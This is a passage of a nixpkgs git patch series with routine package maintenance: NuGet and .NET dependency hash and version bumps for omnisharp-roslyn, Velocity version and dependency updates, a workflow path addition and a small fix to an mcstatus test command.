-    "version": "6.13.0-rc.95",
-    "hash": "sha256-SeN5m2Wuwux9kO+S5qX6bvvYUA22BOZDz6rg2Gk0vQc=",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/nuget.common/6.13.0-rc.95/nuget.common.6.13.0-rc.95.nupkg"
+    "version": "6.14.0-rc.116",
+    "hash": "sha256-9iueLk2eBzA1Qph0zz2eM9hSfKtwdlApcEXkcImYHow=",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/nuget.common/6.14.0-rc.116/nuget.common.6.14.0-rc.116.nupkg"
   },
   {
     "pname": "NuGet.Configuration",
-    "version": "6.13.0-rc.95",
-    "hash": "sha256-vrqUvp0Nse6zITKySrVgnPpkl2+ic8f0d/veYrUeRzM=",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/nuget.configuration/6.13.0-rc.95/nuget.configuration.6.13.0-rc.95.nupkg"
+    "version": "6.14.0-rc.116",
+    "hash": "sha256-aZcINPKC6x773h/JW007YDPkj/jXZIBs/Y2gVp2jHKI=",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/nuget.configuration/6.14.0-rc.116/nuget.configuration.6.14.0-rc.116.nupkg"
   },
   {
     "pname": "NuGet.DependencyResolver.Core",
-    "version": "6.13.0-rc.95",
-    "hash": "sha256-ttllWdeTVn3JJECrqfCy9lVZKX7DQbgxjKMIBZH3GoI=",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/nuget.dependencyresolver.core/6.13.0-rc.95/nuget.dependencyresolver.core.6.13.0-rc.95.nupkg"
+    "version": "6.14.0-rc.116",
+    "hash": "sha256-xn3ftpNI3xMblSwqQcgYzhZ1fDj/urbnnCLZrTLuNNk=",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/nuget.dependencyresolver.core/6.14.0-rc.116/nuget.dependencyresolver.core.6.14.0-rc.116.nupkg"
   },
   {
     "pname": "NuGet.Frameworks",
-    "version": "6.13.0-rc.95",
-    "hash": "sha256-Dq1YxucNDbrO8L2l8uV1SEOKuL4oVhUjlDeRLrg82Wo=",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/nuget.frameworks/6.13.0-rc.95/nuget.frameworks.6.13.0-rc.95.nupkg"
+    "version": "6.14.0-rc.116",
+    "hash": "sha256-d9pZxwUrPcl/pizjC6j+Tns30muXUk2OVOAvkQ40TWk=",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/nuget.frameworks/6.14.0-rc.116/nuget.frameworks.6.14.0-rc.116.nupkg"
   },
   {
     "pname": "NuGet.LibraryModel",
-    "version": "6.13.0-rc.95",
-    "hash": "sha256-zuiuiT6NprcW/UEhndi6vO4J3ONeIGkmRMjkDqdf4QQ=",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/nuget.librarymodel/6.13.0-rc.95/nuget.librarymodel.6.13.0-rc.95.nupkg"
+    "version": "6.14.0-rc.116",
+    "hash": "sha256-8MzoYPA6p9pd0NkVW3oImhy1t3szqjk/dqHbRb2UM9I=",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/nuget.librarymodel/6.14.0-rc.116/nuget.librarymodel.6.14.0-rc.116.nupkg"
   },
   {
     "pname": "NuGet.Packaging",
-    "version": "6.13.0-rc.95",
-    "hash": "sha256-gK0UtXawa2HtdYyug/vTihrj4ZLqCJ8w516kj9Gmq40=",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/nuget.packaging/6.13.0-rc.95/nuget.packaging.6.13.0-rc.95.nupkg"
+    "version": "6.14.0-rc.116",
+    "hash": "sha256-0ck3KroeV+MSYBESHrqtZ7I4h10Wx5qfEYgikVk9lLE=",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/nuget.packaging/6.14.0-rc.116/nuget.packaging.6.14.0-rc.116.nupkg"
   },
   {
     "pname": "NuGet.ProjectModel",
-    "version": "6.13.0-rc.95",
-    "hash": "sha256-Y+3CNqRfoCTzVYgVpJ8Q2kIQcZIbdfit6uVOuqFaMy0=",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/nuget.projectmodel/6.13.0-rc.95/nuget.projectmodel.6.13.0-rc.95.nupkg"
+    "version": "6.14.0-rc.116",
+    "hash": "sha256-w8xv1eWnCgTEMd7UoZkoxcQ2fiOhPTf6AgkcY6XFiXs=",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/nuget.projectmodel/6.14.0-rc.116/nuget.projectmodel.6.14.0-rc.116.nupkg"
   },
   {
     "pname": "NuGet.Protocol",
-    "version": "6.13.0-rc.95",
-    "hash": "sha256-HyzaY1PmpPGG6J8g+BYdS1ETYZMwahEu7OiyWyjXzu4=",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/nuget.protocol/6.13.0-rc.95/nuget.protocol.6.13.0-rc.95.nupkg"
+    "version": "6.14.0-rc.116",
+    "hash": "sha256-vJH2Lp7eBq44+w6iDkgUItcy81qYG52E7NE5q10TJqc=",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/nuget.protocol/6.14.0-rc.116/nuget.protocol.6.14.0-rc.116.nupkg"
   },
   {
     "pname": "NuGet.Versioning",
-    "version": "6.13.0-rc.95",
-    "hash": "sha256-2em8SYwrFR7wDjBpoSDs3Gfdz7w90IUs8vnGCnxcgF8=",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/nuget.versioning/6.13.0-rc.95/nuget.versioning.6.13.0-rc.95.nupkg"
+    "version": "6.14.0-rc.116",
+    "hash": "sha256-qSpNg8NdQDTxS+xXkz5j/LJNqhF8jUn/bAQyJWFP9vA=",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/nuget.versioning/6.14.0-rc.116/nuget.versioning.6.14.0-rc.116.nupkg"
   },
   {
     "pname": "OmniSharp.Extensions.JsonRpc",
@@ -506,8 +511,8 @@
   },
   {
     "pname": "System.Collections.Immutable",
-    "version": "8.0.0",
-    "hash": "sha256-F7OVjKNwpqbUh8lTidbqJWYi476nsq9n+6k0+QVRo3w="
+    "version": "9.0.0",
+    "hash": "sha256-+6q5VMeoc5bm4WFsoV6nBXA9dV5pa/O4yW+gOdi8yac="
   },
   {
     "pname": "System.ComponentModel.Annotations",
@@ -516,43 +521,43 @@
   },
   {
     "pname": "System.ComponentModel.Composition",
-    "version": "8.0.0",
-    "hash": "sha256-MnKdjE/qIvAmEeRc3gOn5uJhT0TI3UnUJPjj3TLHFQo="
+    "version": "9.0.0",
+    "hash": "sha256-CsWwo/NLEAt36kE52cT4wud8uUjJ31vpHlAY6RkUbog="
   },
   {
     "pname": "System.Composition",
-    "version": "8.0.0",
-    "hash": "sha256-rA118MFj6soKN++BvD3y9gXAJf0lZJAtGARuznG5+Xg="
+    "version": "9.0.0",
+    "hash": "sha256-FehOkQ2u1p8mQ0/wn3cZ+24HjhTLdck8VZYWA1CcgbM="
   },
   {
     "pname": "System.Composition.AttributedModel",
-    "version": "8.0.0",
-    "hash": "sha256-n3aXiBAFIlQicSRLiNtLh++URSUxRBLggsjJ8OMNRpo="
+    "version": "9.0.0",
+    "hash": "sha256-a7y7H6zj+kmYkllNHA402DoVfY9IaqC3Ooys8Vzl24M="
   },
   {
     "pname": "System.Composition.Convention",
-    "version": "8.0.0",
-    "hash": "sha256-Z9HOAnH1lt1qc38P3Y0qCf5gwBwiLXQD994okcy53IE="
+    "version": "9.0.0",
+    "hash": "sha256-tw4vE5JRQ60ubTZBbxoMPhtjOQCC3XoDFUH7NHO7o8U="
   },
   {
     "pname": "System.Composition.Hosting",
-    "version": "8.0.0",
-    "hash": "sha256-axKJC71oKiNWKy66TVF/c3yoC81k03XHAWab3mGNbr0="
+    "version": "9.0.0",
+    "hash": "sha256-oOxU+DPEEfMCuNLgW6wSkZp0JY5gYt44FJNnWt+967s="
   },
   {
     "pname": "System.Composition.Runtime",
-    "version": "8.0.0",
-    "hash": "sha256-AxwZ29+GY0E35Pa255q8AcMnJU52Txr5pBy86t6V1Go="
+    "version": "9.0.0",
+    "hash": "sha256-AyIe+di1TqwUBbSJ/sJ8Q8tzsnTN+VBdJw4K8xZz43s="
   },
   {
     "pname": "System.Composition.TypedParts",
-    "version": "8.0.0",
-    "hash": "sha256-+ZJawThmiYEUNJ+cB9uJK+u/sCAVZarGd5ShZoSifGo="
+    "version": "9.0.0",
+    "hash": "sha256-F5fpTUs3Rr7yP/NyIzr+Xn5NdTXXp8rrjBnF9UBBUog="
   },
   {
     "pname": "System.Configuration.ConfigurationManager",
-    "version": "8.0.0",
-    "hash": "sha256-xhljqSkNQk8DMkEOBSYnn9lzCSEDDq4yO910itptqiE="
+    "version": "9.0.0",
+    "hash": "sha256-+pLnTC0YDP6Kjw5DVBiFrV/Q3x5is/+6N6vAtjvhVWk="
   },
   {
     "pname": "System.Data.DataSetExtensions",
@@ -561,18 +566,13 @@
   },
   {
     "pname": "System.Diagnostics.DiagnosticSource",
-    "version": "8.0.0",
-    "hash": "sha256-+aODaDEQMqla5RYZeq0Lh66j+xkPYxykrVvSCmJQ+Vs="
-  },
-  {
-    "pname": "System.Diagnostics.DiagnosticSource",
-    "version": "8.0.1",
-    "hash": "sha256-zmwHjcJgKcbkkwepH038QhcnsWMJcHys+PEbFGC0Jgo="
+    "version": "9.0.0",
+    "hash": "sha256-1VzO9i8Uq2KlTw1wnCCrEdABPZuB2JBD5gBsMTFTSvE="
   },
   {
     "pname": "System.Diagnostics.EventLog",
-    "version": "8.0.0",
-    "hash": "sha256-rt8xc3kddpQY4HEdghlBeOK4gdw5yIj4mcZhAVtk2/Y="
+    "version": "9.0.0",
+    "hash": "sha256-tPvt6yoAp56sK/fe+/ei8M65eavY2UUhRnbrREj/Ems="
   },
   {
     "pname": "System.Drawing.Common",
@@ -596,8 +596,8 @@
   },
   {
     "pname": "System.IO.Pipelines",
-    "version": "8.0.0",
-    "hash": "sha256-LdpB1s4vQzsOODaxiKstLks57X9DTD5D6cPx8DE1wwE="
+    "version": "9.0.0",
+    "hash": "sha256-vb0NrPjfEao3kfZ0tavp2J/29XnsQTJgXv3/qaAwwz0="
   },
   {
     "pname": "System.Memory",
@@ -621,8 +621,8 @@
   },
   {
     "pname": "System.Reflection.Metadata",
-    "version": "8.0.0",
-    "hash": "sha256-dQGC30JauIDWNWXMrSNOJncVa1umR1sijazYwUDdSIE="
+    "version": "9.0.0",
+    "hash": "sha256-avEWbcCh7XgpsSesnR3/SgxWi/6C5OxjR89Jf/SfRjQ="
   },
   {
     "pname": "System.Reflection.MetadataLoadContext",
@@ -681,8 +681,8 @@
   },
   {
     "pname": "System.Security.Cryptography.ProtectedData",
-    "version": "8.0.0",
-    "hash": "sha256-fb0pa9sQxN+mr0vnXg1Igbx49CaOqS+GDkTfWNboUvs="
+    "version": "9.0.0",
+    "hash": "sha256-gPgPU7k/InTqmXoRzQfUMEKL3QuTnOKowFqmXTnWaBQ="
   },
   {
     "pname": "System.Security.Cryptography.Xml",
@@ -711,13 +711,13 @@
   },
   {
     "pname": "System.Text.Encodings.Web",
-    "version": "8.0.0",
-    "hash": "sha256-IUQkQkV9po1LC0QsqrilqwNzPvnc+4eVvq+hCvq8fvE="
+    "version": "9.0.0",
+    "hash": "sha256-WGaUklQEJywoGR2jtCEs5bxdvYu5SHaQchd6s4RE5x0="
   },
   {
     "pname": "System.Text.Json",
-    "version": "8.0.5",
-    "hash": "sha256-yKxo54w5odWT6nPruUVsaX53oPRe+gKzGvLnnxtwP68="
+    "version": "9.0.0",
+    "hash": "sha256-aM5Dh4okLnDv940zmoFAzRmqZre83uQBtGOImJpoIqk="
   },
   {
     "pname": "System.Threading.Channels",
@@ -731,8 +731,8 @@
   },
   {
     "pname": "System.Threading.Tasks.Dataflow",
-    "version": "8.0.0",
-    "hash": "sha256-Q6fPtMPNW4+SDKCabJzNS+dw4B04Oxd9sHH505bFtQo="
+    "version": "9.0.0",
+    "hash": "sha256-nRzcFvLBpcOfyIJdCCZq5vDKZN0xHVuB8yCXoMrwZJA="
   },
   {
     "pname": "System.Threading.Tasks.Extensions",
diff --git a/pkgs/by-name/om/omnisharp-roslyn/package.nix b/pkgs/by-name/om/omnisharp-roslyn/package.nix
index d551a1ddf49c..3f4e9a3ac1f2 100644
--- a/pkgs/by-name/om/omnisharp-roslyn/package.nix
+++ b/pkgs/by-name/om/omnisharp-roslyn/package.nix
@@ -13,13 +13,13 @@ in
 let
   finalPackage = buildDotnetModule rec {
     pname = "omnisharp-roslyn";
-    version = "1.39.13";
+    version = "1.39.14";
 
     src = fetchFromGitHub {
       owner = "OmniSharp";
       repo = "omnisharp-roslyn";
       tag = "v${version}";
-      hash = "sha256-/U7zpx0jAnvZl7tshGV7wORD/wQUKYgX1kADpyCXHM4=";
+      hash = "sha256-yWrb+Ov1syKjeer7CxmGzkf9qUJxQ0IoIRfyIiO8eI8=";
     };
 
     projectFile = "src/OmniSharp.Stdio.Driver/OmniSharp.Stdio.Driver.csproj";

From 6275050154ddc3a1da600ea2298371dd94496470 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 24 Jun 2025 21:46:45 +0200
Subject: [PATCH 3402/4511] workflows/pr: run in pull_request context to test
 actions/get-merge-commit

This must run in the pull_request context, otherwise changes to the
actions are not tested.

(cherry picked from commit a2a9984ed95a5a008ad1f176044d9da9c1d955a3)
---
 .github/workflows/pr.yml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml
index d3a6d2a56a82..117551bb49e3 100644
--- a/.github/workflows/pr.yml
+++ b/.github/workflows/pr.yml
@@ -3,6 +3,7 @@ name: PR
 on:
   pull_request:
     paths:
+      - .github/actions/get-merge-commit/action.yml
       - .github/workflows/build.yml
       - .github/workflows/check.yml
       - .github/workflows/eval.yml

From b8e6c98725970afad6eae93fe7b615c02c69e1a5 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 22 May 2025 05:54:34 +0000
Subject: [PATCH 3403/4511] velocity: 3.4.0-unstable-2025-05-09 ->
 3.4.0-unstable-2025-05-21

(cherry picked from commit 88831fdb91a287c3c425ef63651c89b9d6fdc579)
---
 pkgs/by-name/ve/velocity/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ve/velocity/package.nix b/pkgs/by-name/ve/velocity/package.nix
index 391cc5e91fd6..98322838b98a 100644
--- a/pkgs/by-name/ve/velocity/package.nix
+++ b/pkgs/by-name/ve/velocity/package.nix
@@ -35,13 +35,13 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "velocity";
-  version = "3.4.0-unstable-2025-05-09";
+  version = "3.4.0-unstable-2025-05-21";
 
   src = fetchFromGitHub {
     owner = "PaperMC";
     repo = "Velocity";
-    rev = "e13c8c340f242d270b16ec6931d1ba94a9e8f1f3";
-    hash = "sha256-CJVUEwYnpXDaYgXoi1Qk0uyB/CHM3UDQzQfhtDxDKdE=";
+    rev = "678c7aa3a42aaf64b8b1b7df75e787cbec9fe2ad";
+    hash = "sha256-///JQxm+YlQQFyokqCoApxYCNVhvCK+XxwXM7psa+us=";
   };
 
   nativeBuildInputs = [

From 5c22e503e6591d3208424c356265e2cb663ca6b6 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 11 Jun 2025 21:38:07 +0000
Subject: [PATCH 3404/4511] velocity: 3.4.0-unstable-2025-05-21 ->
 3.4.0-unstable-2025-06-11

(cherry picked from commit d27ee43bc3ef4a6b24ebdf68272d1ea25c173217)
---
 pkgs/by-name/ve/velocity/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ve/velocity/package.nix b/pkgs/by-name/ve/velocity/package.nix
index 98322838b98a..3df1e5d94d65 100644
--- a/pkgs/by-name/ve/velocity/package.nix
+++ b/pkgs/by-name/ve/velocity/package.nix
@@ -35,13 +35,13 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "velocity";
-  version = "3.4.0-unstable-2025-05-21";
+  version = "3.4.0-unstable-2025-06-11";
 
   src = fetchFromGitHub {
     owner = "PaperMC";
     repo = "Velocity";
-    rev = "678c7aa3a42aaf64b8b1b7df75e787cbec9fe2ad";
-    hash = "sha256-///JQxm+YlQQFyokqCoApxYCNVhvCK+XxwXM7psa+us=";
+    rev = "669fda298c670c55686f34d868383052b192518d";
+    hash = "sha256-UI6SqVAaM4NANf9cGvsIgYO1jSkWDOk5ysyufrPWTgg=";
   };
 
   nativeBuildInputs = [

From 4aa2c4aaaefdd8ecfbbb5aa2300961965114f52c Mon Sep 17 00:00:00 2001
From: Tert0 <tert0byte@gmail.com>
Date: Mon, 23 Jun 2025 09:33:03 +0200
Subject: [PATCH 3405/4511] nixos/tests/velocity: fix mcstatus command

(cherry picked from commit 4999e4345a2707d93e6ac2f69055b5cb9a2e5cc3)
---
 nixos/tests/velocity.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/nixos/tests/velocity.nix b/nixos/tests/velocity.nix
index d9ae4e75d87e..d448e5fa7255 100644
--- a/nixos/tests/velocity.nix
+++ b/nixos/tests/velocity.nix
@@ -37,7 +37,7 @@
           (mkVelocityService "velocity-with-native" (pkgs.velocity.override { withVelocityNative = true; }))
         ];
 
-      environment.systemPackages = [ pkgs.mcstatus ];
+      environment.systemPackages = [ (pkgs.python3.withPackages (p: [ p.mcstatus ])) ];
     };
 
   testScript = ''
@@ -50,7 +50,7 @@
       server.wait_until_succeeds(f"journalctl -b -u {name} | grep -q -E '{connections_startup_query}'")
       server.wait_until_succeeds(f"journalctl -b -u {name} | grep -q 'Done ([0-9]*.[0-9]*s)!'");
 
-      _, status_result = server.execute("mcstatus localhost:25565 status")
+      _, status_result = server.execute("python -m mcstatus localhost:25565 status")
       assert "A Velocity Server" in status_result
 
       server.execute(f"echo stop > /run/{name}.stdin")

From 6ab8cc1d2991729a70bd7048de737729e85d1b58 Mon Sep 17 00:00:00 2001
From: Tert0 <tert0byte@gmail.com>
Date: Sun, 3 Aug 2025 13:17:51 +0200
Subject: [PATCH 3406/4511] velocity: 3.4.0-unstable-2025-06-11 ->
 3.4.0-unstable-2025-08-02

(cherry picked from commit 608f260609b01ecd11d9b76e1f8194d34501dce8)
---
 pkgs/by-name/ve/velocity/deps.json         | 540 ++++++++++++---------
 pkgs/by-name/ve/velocity/fix-version.patch |  13 +-
 pkgs/by-name/ve/velocity/package.nix       |   6 +-
 3 files changed, 318 insertions(+), 241 deletions(-)

diff --git a/pkgs/by-name/ve/velocity/deps.json b/pkgs/by-name/ve/velocity/deps.json
index 23e52dd73467..1a2cae5892f0 100644
--- a/pkgs/by-name/ve/velocity/deps.json
+++ b/pkgs/by-name/ve/velocity/deps.json
@@ -75,6 +75,19 @@
    "module": "sha256-eYp7cGdyE27iijLt2GOx6fgWE6NJhAXXS+ilyb6/9U8=",
    "pom": "sha256-20U7urXn2opDE5sNzTuuZykzIfKcTZH1p5XZ/2xS3d8="
   },
+  "io/papermc#fill-gradle/1.0.3": {
+   "jar": "sha256-i0s+vAeA1bKfvpdqqwSx7RfW8nUt+91hgOLaTAkPHok=",
+   "module": "sha256-RyHV6clYb0y/g1pDAdYF8p+v1ycn6pPhcHueG2vEjJ4=",
+   "pom": "sha256-iQridlDWW/I2j8S0pp2rQKSqLsX6mtRKh+8enBJd5JA="
+  },
+  "io/papermc/fill/gradle#io.papermc.fill.gradle.gradle.plugin/1.0.3": {
+   "pom": "sha256-mY28yKdtdiKCQgolhRc+El30dd3ROKN1PSNk70wA/BM="
+  },
+  "net/kyori#indra-git/3.1.3": {
+   "jar": "sha256-Yj3GYLWoSQJgP1Ww4EnCX9w8Z3SckQWKEGOWPcYFae0=",
+   "module": "sha256-V9JC+gioSOG2JGEvV/+6qY9p9d8DA9LBj3vbGpAyikU=",
+   "pom": "sha256-Zp9TPudkCyfovE9RPkohPaBBz1wcJhVTx/GD1Qu21Jc="
+  },
   "org/apache#apache/29": {
    "pom": "sha256-PkkDcXSCC70N9jQgqXclWIY5iVTCoGKR+mH3J6w1s3c="
   },
@@ -317,24 +330,50 @@
   "com/fasterxml#oss-parent/50": {
    "pom": "sha256-9dpV3XuI+xcMRoAdF3dKZS+y9FgftbHQpfyGqhgrhXc="
   },
-  "com/fasterxml#oss-parent/56": {
-   "pom": "sha256-/UkfeIV0JBBtLj1gW815m1PTGlZc3IaEY8p+h120WlA="
-  },
   "com/fasterxml#oss-parent/58": {
    "pom": "sha256-VnDmrBxN3MnUE8+HmXpdou+qTSq+Q5Njr57xAqCgnkA="
   },
-  "com/fasterxml/jackson#jackson-bom/2.16.0": {
-   "pom": "sha256-Wqooh0QFvwT7qOLFcVkieCRGG6b31VKr246NOgum+L8="
+  "com/fasterxml#oss-parent/61": {
+   "pom": "sha256-NklRPPWX6RhtoIVZhqjFQ+Er29gF7e75wSTbVt0DZUQ="
+  },
+  "com/fasterxml/jackson#jackson-base/2.18.1": {
+   "pom": "sha256-m612py37mq3jx6MzQ3dUk4bbqlTCFeRYOiUEyIp81K8="
   },
   "com/fasterxml/jackson#jackson-bom/2.17.2": {
    "pom": "sha256-H0crC8IATVz0IaxIhxQX+EGJ5481wElxg4f9i0T7nzI="
   },
-  "com/fasterxml/jackson#jackson-parent/2.16": {
-   "pom": "sha256-i/YUKBIUiiq/aFCycvCvTD2P8RIe1gTEAvPzjJ5lRqs="
+  "com/fasterxml/jackson#jackson-bom/2.18.1": {
+   "pom": "sha256-84SrzK8Mb712GDdi9yVv1nkBLtgdt/KiZofouWWgFKc="
   },
   "com/fasterxml/jackson#jackson-parent/2.17": {
    "pom": "sha256-rubeSpcoOwQOQ/Ta1XXnt0eWzZhNiSdvfsdWc4DIop0="
   },
+  "com/fasterxml/jackson#jackson-parent/2.18.1": {
+   "pom": "sha256-0IIvrBoCJoRLitRFySDEmk9hkWnQmxAQp9/u0ZkQmYw="
+  },
+  "com/fasterxml/jackson/core#jackson-annotations/2.18.1": {
+   "jar": "sha256-t/nfXayahfR/2ydpRV7oupzy/pt8TPY24K7INHnXiC8=",
+   "module": "sha256-DFBMd03V5mzpWoFiUnsAvNGR0e6S2kKPFhL5n3NMqYw=",
+   "pom": "sha256-dRNr4/Jizrf75rkHuPJujGKMM+G1SSINS36CvdHQ5EY="
+  },
+  "com/fasterxml/jackson/core#jackson-core/2.18.1": {
+   "jar": "sha256-6+GVlq0Z96BRTIu497Cs+FI5pO/1rgMinpdg0mjSnCI=",
+   "module": "sha256-VHp3eJ1Ej1IoV37sUTwj2+eAhg98E4mecnrOCXDz3jE=",
+   "pom": "sha256-36WWVD+Z1b7cE4aq4rr73v9mpnK7IXF4/CSMjT1Xf+0="
+  },
+  "com/fasterxml/jackson/core#jackson-databind/2.18.1": {
+   "jar": "sha256-cRvDv4bTHQKWi5J577B6atYK38C6oOn+ZtcaCsJVYjQ=",
+   "module": "sha256-xlQvXTA+kaQo5pElXhDIGcSyGvnsQ+a+Vnq8MSRNIWc=",
+   "pom": "sha256-09m5HHTeS7LD9bNRhqq1FHFtqh1yEny2DQ0+Uk8xHyI="
+  },
+  "com/fasterxml/jackson/datatype#jackson-datatype-jsr310/2.18.1": {
+   "jar": "sha256-b3nIdhO9ALH/3rx40jXLnz3Ndhl3+/h8G3cBeCiuiV8=",
+   "module": "sha256-kOszPmMBRzhd8WMcq4L+YtkqVQB4b4Mskl6jbOgv2SM=",
+   "pom": "sha256-m9eWNx4di6787izrlhPIF8k8t/xw3DVSIzmRcBvn46c="
+  },
+  "com/fasterxml/jackson/module#jackson-modules-java8/2.18.1": {
+   "pom": "sha256-Pt9S8cWuqdNlMYMp6SUVLFJppU88C+7Enn0bBT+JA/4="
+  },
   "com/fasterxml/woodstox#woodstox-core/6.5.1": {
    "jar": "sha256-ySjWBmXGQV+xw5d1z5XPxE9/RYDPWrAbHDgOv/12iH8=",
    "pom": "sha256-SDllThaxcU509Rq8s3jYNWgUq49NUnPR3S8c6KOQrdw="
@@ -408,6 +447,10 @@
    "jar": "sha256-0fPGaqkaxSVJ4Arjsgi6S5r31y1o8jBkNVO+s45hGKw=",
    "pom": "sha256-9ZiID+766p1nTcQdsTqzcAS/A3drW7IcBN7ejpIMHxI="
   },
+  "com/google/errorprone#error_prone_annotations/2.36.0": {
+   "jar": "sha256-d0QOJwsLyaJJkDxaB2w2pyLEiGyk9CZ18pA6HFPtYaU=",
+   "pom": "sha256-15z9N8hfdta3VMdQHuHchEe3smQsI4LXeCUhZr0zHpw="
+  },
   "com/google/errorprone#error_prone_annotations/2.6.0": {
    "pom": "sha256-d1CXiHMcDoMurQIJFPYFi5MxYBb8ZdfLKscDspNKmvY="
   },
@@ -427,6 +470,9 @@
   "com/google/errorprone#error_prone_parent/2.21.1": {
    "pom": "sha256-MrsLX/JB/Wuh/upEiuu5zt7xaZvnPLbzGTZTh7gr+Sw="
   },
+  "com/google/errorprone#error_prone_parent/2.36.0": {
+   "pom": "sha256-Okz8imvtYetI6Wl5b8MeoNJwtj5nBZmUamGIOttwlNw="
+  },
   "com/google/errorprone#error_prone_parent/2.6.0": {
    "pom": "sha256-+7tgNV14gZvGGYK0y1sBbGVyjMMNJb/qQckKYcZETzQ="
   },
@@ -437,6 +483,10 @@
    "jar": "sha256-oXHuTHNN0tqDfksWvp30Zhr6typBra8x64Tf2vk2yiY=",
    "pom": "sha256-6WBCznj+y6DaK+lkUilHyHtAopG1/TzWcqQ0kkEDxLk="
   },
+  "com/google/guava#failureaccess/1.0.3": {
+   "jar": "sha256-y/w5BrGbj1XdfP1t/gqkUy6DQlDX8IC9jSEaPiRrWcs=",
+   "pom": "sha256-xUvv839tQtQ+FHItVKUiya1R75f8W3knfmKj6/iC87s="
+  },
   "com/google/guava#guava-parent/21.0": {
    "pom": "sha256-rNxtbwezRsrrF0kyeIvMxjwDXMXCsQCVjCH/4PbhmYg="
   },
@@ -455,6 +505,12 @@
   "com/google/guava#guava-parent/31.1-jre": {
    "pom": "sha256-RDliZ4O0StJe8F/wdiHdS7eWzE608pZqSkYf6kEw4Pw="
   },
+  "com/google/guava#guava-parent/33.4.0-android": {
+   "pom": "sha256-ciDt5hAmWW+8cg7kuTJG+i0U8ygFhTK1nvBT3jl8fYM="
+  },
+  "com/google/guava#guava-parent/33.4.6-jre": {
+   "pom": "sha256-Co0mEQgdOkd8L5S9lVY/6BDMdaZzUmqeSv2xGJEly0Q="
+  },
   "com/google/guava#guava/21.0": {
    "jar": "sha256-lyE5cYq8ikiT+njLqM97LJA/Ncl6r0T6MDGwZplItIA=",
    "pom": "sha256-wLAWqFx4TgHKUenWS/j+gM5AKyBv6ol7AyWNXm0P+A0="
@@ -475,6 +531,11 @@
    "jar": "sha256-pC7cnKt5Ljn+ObuU8/ymVe0Vf/h6iveOHWulsHxKAKs=",
    "pom": "sha256-kZPQe/T2YBCNc1jliyfSG0TjToDWc06Y4hkWN28nDeI="
   },
+  "com/google/guava#guava/33.4.6-jre": {
+   "jar": "sha256-lYoDW3T/bH0M3/nDhFJLZF62GPcRe2Dh7pFfnP/Q5xY=",
+   "module": "sha256-7+mDiJ/pKGiR0+ego5RsG2+l7AvG7qirnp4FOCYd1qc=",
+   "pom": "sha256-nokisU/7NNGuKxzTOQZFWkPoc6Tum8sx+jYD529uQfI="
+  },
